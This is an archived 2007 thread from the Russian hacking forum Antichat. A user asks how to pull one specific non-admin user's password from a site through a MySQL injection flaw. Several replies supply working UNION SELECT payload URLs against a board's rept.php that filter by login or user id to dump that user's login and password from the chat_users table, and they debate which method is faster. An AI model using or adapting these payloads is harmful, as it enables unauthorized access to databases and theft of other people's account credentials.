Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   SQL-inj,поиск по логину... (https://forum.antichat.xyz/showthread.php?t=52258)

Qwertison 28.10.2007 22:38

SQL-inj,поиск по логину...
 
Есть MySQL-inj , в базе дофигища юзеров а мне нужен пасс конкретно одного (не админа), как можно составить запрос чтоб выдало пасс конкретного юзера?...допустим
Код:

http://test.com/board/rept.php?id=-1+union+select+concat(login,0x3a,password),0,0,0+from+chat_users/*
Выдаст нейм:пасс, а как сделать чтоб конкретного юзера?
p.s. limit не предлагать))(Выдает только по одному)

Sn@k3 28.10.2007 23:04

пользуйся limit+0,1 и т.д.)))) а вообще найди айди тваоего юзера и вокруге перебирай циферки

delay(0) 28.10.2007 23:07

Цитата:

мне нужен пасс конкретно одного
Цитата:

(Выдает только по одному)
Ты определись. :) Узнай порядковый номер пользователя в базе и составь запрос....
Ну или:
...from+chat_users+where+login=char(ися пользователя в char`е)/*

FraiDex 29.10.2007 00:31

попробуй так так
Код:

-1+union+select+concat(password),0,0,0+from+chat_users+where+login='name'/*
где name имя нужно юзера

halkfild 29.10.2007 01:53

судя по твоему форуму/доске у тя участвует ид пользователя

Цитата:

rept.php?id=
ну вот найди линк на его репутацию и используй запрос
Цитата:

http://test.com/board/rept.php?id=-1+union+select+concat(login,0x3a,password),0,0,0+f rom+chat_users+where+id=[value]/*
где вместо [value] вставь значение ид

Grey 29.10.2007 17:40

Цитата:

Сообщение от Sn@k3
пользуйся limit+0,1 и т.д.)))) а вообще найди айди тваоего юзера и вокруге перебирай циферки

Угу невероятно дельный совет, зачем что то говорить и советовать если сам это не знаешь?

Перебирать лимитом крайне не рационально:

1) Если запись пользователя тысячная или даже сотая, то это займет очень много времени
2) Даже если знать id пользователя (кстати далеко не обязательно что такой параметр есть именно в таблице с пользователями) то далеко не обязательно что id пользователя совпадет с номером записи

Здесь надо было делать:

Цитата:

Сообщение от delay(0)
Ты определись. :) Узнай порядковый номер пользователя в базе и составь запрос....
Ну или:
...from+chat_users+where+login=char(ися пользователя в char`е)/*

Вообще так и только так, а не искать порядковые номера и т.д. - все должно быть сделано максимально рационально.

p.s Qwertison - юзай пожалуйста поиск ты почти каждый день создаёшь темы, а нужную инфу легко найти в статьях, да и тему "Ваши вопросы по уязвимостям." никто не отменял, здавай такие вопросы в ней.

m0nzt3r 30.10.2007 00:16

Для кого создана - http://forum.antichat.ru/thread46016.html - эта тема?


Время: 06:50